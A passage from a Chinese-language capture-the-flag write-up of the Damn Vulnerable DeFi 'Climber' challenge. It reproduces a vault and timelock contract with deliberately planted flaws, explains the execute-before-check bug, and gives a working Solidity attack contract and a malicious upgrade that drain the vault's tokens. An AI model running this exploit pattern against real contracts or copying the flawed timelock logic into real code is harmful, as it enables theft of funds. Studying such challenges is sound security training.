__UUPSUpgradeable_init();

// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));

_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}

// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");

_setLastWithdrawal(block.timestamp);

IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}

// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address tokenAddress) external onlySweeper {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
}

function getSweeper() external view returns (address) {
return _sweeper;
}

function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}

function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}

function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}

// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}

ClimberTimelock

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/post/D3CTF

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

ClimberTimelock

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/post/D3CTF

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

ClimberTimelock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title ClimberTimelock
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberTimelock is AccessControl {
using Address for address;

bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");

// Possible states for an operation in this timelock contract
enum OperationState {
Unknown,
Scheduled,
ReadyForExecution,
Executed
}

// Operation data tracked in this contract
struct Operation {
uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution
bool known; // whether the operation is registered in the timelock
bool executed; // whether the operation has been executed
}

// Operations are tracked by their bytes32 identifier
mapping(bytes32 => Operation) public operations;

uint64 public delay = 1 hours;

constructor(
address admin,
address proposer
) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);

// deployer + self administration
_setupRole(ADMIN_ROLE, admin);
_setupRole(ADMIN_ROLE, address(this));

_setupRole(PROPOSER_ROLE, proposer);
}

function getOperationState(bytes32 id) public view returns (OperationState) {
Operation memory op = operations[id];

if(op.executed) {
return OperationState.Executed;
} else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
} else if(op.readyAtTimestamp > 0) {
return OperationState.Scheduled;
} else {
return OperationState.Unknown;
}
}

function getOperationId(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) public pure returns (bytes32) {
return keccak256(abi.encode(targets, values, dataElements, salt));
}

function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
require(targets.length > 0 && targets.length < 256);
require(targets.length == values.length);
require(targets.length == dataElements.length);

bytes32 id = getOperationId(targets, values, dataElements, salt);
require(getOperationState(id) == OperationState.Unknown, "Operation already known");

operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}

/** Anyone can execute what has been scheduled via `schedule` */
function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external payable {
require(targets.length > 0, "Must provide at least one target");
require(targets.length == values.length);
require(targets.length == dataElements.length);

bytes32 id = getOperationId(targets, values, dataElements, salt);

for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}

require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
}

function updateDelay(uint64 newDelay) external {
require(msg.sender == address(this), "Caller must be timelock itself");
require(newDelay <= 14 days, "Delay must be 14 days or less");
delay = newDelay;
}

receive() external payable {}
}

Analyse

我们需要调用sweepFunds()来把所有的代币转走,但是我们发现onlySweeper无法通过。我们发现这个是逻辑合约,因此我们可以升级合约并去掉onlySweeper来完成合约。那么难题来了,我们如何更新升级合约呢?首先我们要获得owner才有机会,owner现在是ClimberTimelock合约,而ClimberTimelock合约可以调用外部合约,但必须schedule之后一个小时才能execute,但我们发现schedule必须是onlyRole(PROPOSER_ROLE) 才可以通过。好像无解了啊,但并不是,我们发现execute是先执行功能,然后判断限制条件是否满足,那么我们可以在执行功能的时候将自己设置为Role,更新delay的时间,然后schedule那么是不是就可以成功了?成功之后我们就将owner转给自己,然后就完成题目啦

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
interface ClimberVault1{}
interface ClimberTimelock1{
function execute(address[] calldata targets,uint256[] calldata values,bytes[] calldata dataElements,bytes32 salt) external payable;
function schedule(address[] calldata targets,uint256[] calldata values,bytes[] calldata dataElements,bytes32 salt) external;
}
contract attackclimber {
ClimberVault1 public vault;
address payable timelock;

address[] public targets;
uint256[] public values;
bytes[] public dataElements;
bytes32 salt;

constructor(address _vault, address payable _timelock) {
vault = ClimberVault1(_vault);
timelock = _timelock;
}

function attack() external {
targets.push(timelock);
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));

values.push(0);
values.push(0);
values.push(0);
values.push(0);

bytes memory data1 = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));

bytes memory data2 = abi.encodeWithSignature("grantRole(bytes32,address)",keccak256("PROPOSER_ROLE"),address(this));

bytes memory data3 = abi.encodeWithSignature("transferOwnership(address)",msg.sender);

bytes memory data4 = abi.encodeWithSignature("schedule()");

dataElements.push(data1);
dataElements.push(data2);
dataElements.push(data3);
dataElements.push(data4);

salt=keccak256("66");

ClimberTimelock1(timelock).execute(targets, values, dataElements, salt);
}

function schedule() external {
ClimberTimelock1(timelock).schedule(targets, values, dataElements, salt);
}
}

然后attack之后我就是owner了,然后执行upgradeToAndCall(address , bytes memory data)就可以了

更新的合约可以是,然后传入sweepFunds的selector就完成合约了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract UpgradedAttacker is Initializable, OwnableUpgradeable, UUPSUpgradeable {

uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;

uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

function sweepFunds(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(msg.sender, token.balanceOf(address(this))), "Transfer failed");
}
function _authorizeUpgrade(address newImplementation) internal override {
}

}